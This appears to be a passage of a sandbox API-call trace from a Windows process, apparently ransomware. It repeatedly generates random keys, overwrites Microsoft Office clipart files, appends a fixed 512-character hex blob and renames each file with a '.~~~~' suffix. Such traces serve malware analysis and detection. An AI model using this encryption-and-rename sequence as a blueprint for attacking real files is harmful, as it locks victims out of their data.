	[0105.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0105.088] GetLastError () returned 0x0
	[0105.089] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0105.091] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.092] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0105.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0105.092] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22508200177) returned 1
	[0105.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa8517230, dwHighDateTime=0x1d60e1e)) 
	[0105.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0105.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0105.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0105.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ce40
	[0105.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ce40 | out: hHeap=0x300000) returned 1
	[0105.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0105.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286ad70
	[0105.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.093] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.093] GetLastError () returned 0x0
	[0105.093] GetLastError () returned 0x0
	[0105.094] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.094] GetLastError () returned 0x0
	[0105.094] GetLastError () returned 0x0
	[0105.145] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff1d17, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.146] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xe2e9, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0xe2e9, lpOverlapped=0x0) returned 1
	[0105.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0105.213] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.213] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.213] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.213] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.214] CloseHandle (hObject=0x144) returned 1
	[0105.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.214] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.~~~~")) returned 1
	[0105.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0105.286] GetLastError () returned 0x0
	[0105.319] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0105.320] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.320] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0105.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0105.320] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22531046115) returned 1
	[0105.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa872c570, dwHighDateTime=0x1d60e1e)) 
	[0105.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0105.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0105.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0105.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28be378
	[0105.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28be378 | out: hHeap=0x300000) returned 1
	[0105.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28978f8
	[0105.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b2c8
	[0105.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28978f8 | out: hHeap=0x300000) returned 1
	[0105.321] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.321] GetLastError () returned 0x0
	[0105.322] GetLastError () returned 0x0
	[0105.322] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.322] GetLastError () returned 0x0
	[0105.322] GetLastError () returned 0x0
	[0105.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffced4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.330] WriteFile (in: hFile=0x130, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x312c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x312c, lpOverlapped=0x0) returned 1
	[0105.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.332] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.332] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.332] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.332] CloseHandle (hObject=0x130) returned 1
	[0105.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28978f8
	[0105.332] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.~~~~")) returned 1
	[0105.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28978f8 | out: hHeap=0x300000) returned 1
	[0105.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0105.334] GetLastError () returned 0x0
	[0105.334] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0105.335] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.335] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0105.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0105.336] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22532568291) returned 1
	[0105.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa87526d0, dwHighDateTime=0x1d60e1e)) 
	[0105.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0105.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0105.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0105.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39d070
	[0105.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d070 | out: hHeap=0x300000) returned 1
	[0105.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28978f8
	[0105.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b528
	[0105.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28978f8 | out: hHeap=0x300000) returned 1
	[0105.336] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.337] GetLastError () returned 0x0
	[0105.337] GetLastError () returned 0x0
	[0105.337] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.337] GetLastError () returned 0x0
	[0105.337] GetLastError () returned 0x0
	[0105.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff68a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.340] WriteFile (in: hFile=0x130, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x975e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x975e, lpOverlapped=0x0) returned 1
	[0105.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.342] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.342] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.342] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.342] CloseHandle (hObject=0x130) returned 1
	[0105.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28978f8
	[0105.343] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf.~~~~")) returned 1
	[0105.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28978f8 | out: hHeap=0x300000) returned 1
	[0105.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0105.344] GetLastError () returned 0x0
	[0105.344] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0105.345] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.345] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0105.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0105.346] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22533589242) returned 1
	[0105.346] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa8778830, dwHighDateTime=0x1d60e1e)) 
	[0105.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0105.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0105.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0105.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39d0a8
	[0105.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d0a8 | out: hHeap=0x300000) returned 1
	[0105.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28978f8
	[0105.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b5c0
	[0105.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28978f8 | out: hHeap=0x300000) returned 1
	[0105.347] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.347] GetLastError () returned 0x0
	[0105.347] GetLastError () returned 0x0
	[0105.347] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.347] GetLastError () returned 0x0
	[0105.348] GetLastError () returned 0x0
	[0105.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff313a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.461] WriteFile (in: hFile=0x130, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xcec6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0xcec6, lpOverlapped=0x0) returned 1
	[0105.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.463] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.463] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.463] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.464] CloseHandle (hObject=0x130) returned 1
	[0105.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.464] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf.~~~~")) returned 1
	[0105.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0105.466] GetLastError () returned 0x0
	[0105.466] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2941768) returned 1
	[0105.468] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.468] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0105.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0105.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0105.468] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22545795451) returned 1
	[0105.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa88a9330, dwHighDateTime=0x1d60e1e)) 
	[0105.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0105.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0105.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0105.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cfa8
	[0105.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cfa8 | out: hHeap=0x300000) returned 1
	[0105.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b658
	[0105.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.469] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.469] GetLastError () returned 0x0
	[0105.469] GetLastError () returned 0x0
	[0105.469] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.469] GetLastError () returned 0x0
	[0105.469] GetLastError () returned 0x0
	[0105.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffec48, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.472] WriteFile (in: hFile=0x130, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x13b8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x13b8, lpOverlapped=0x0) returned 1
	[0105.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0105.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.474] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.474] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.474] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.474] CloseHandle (hObject=0x130) returned 1
	[0105.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
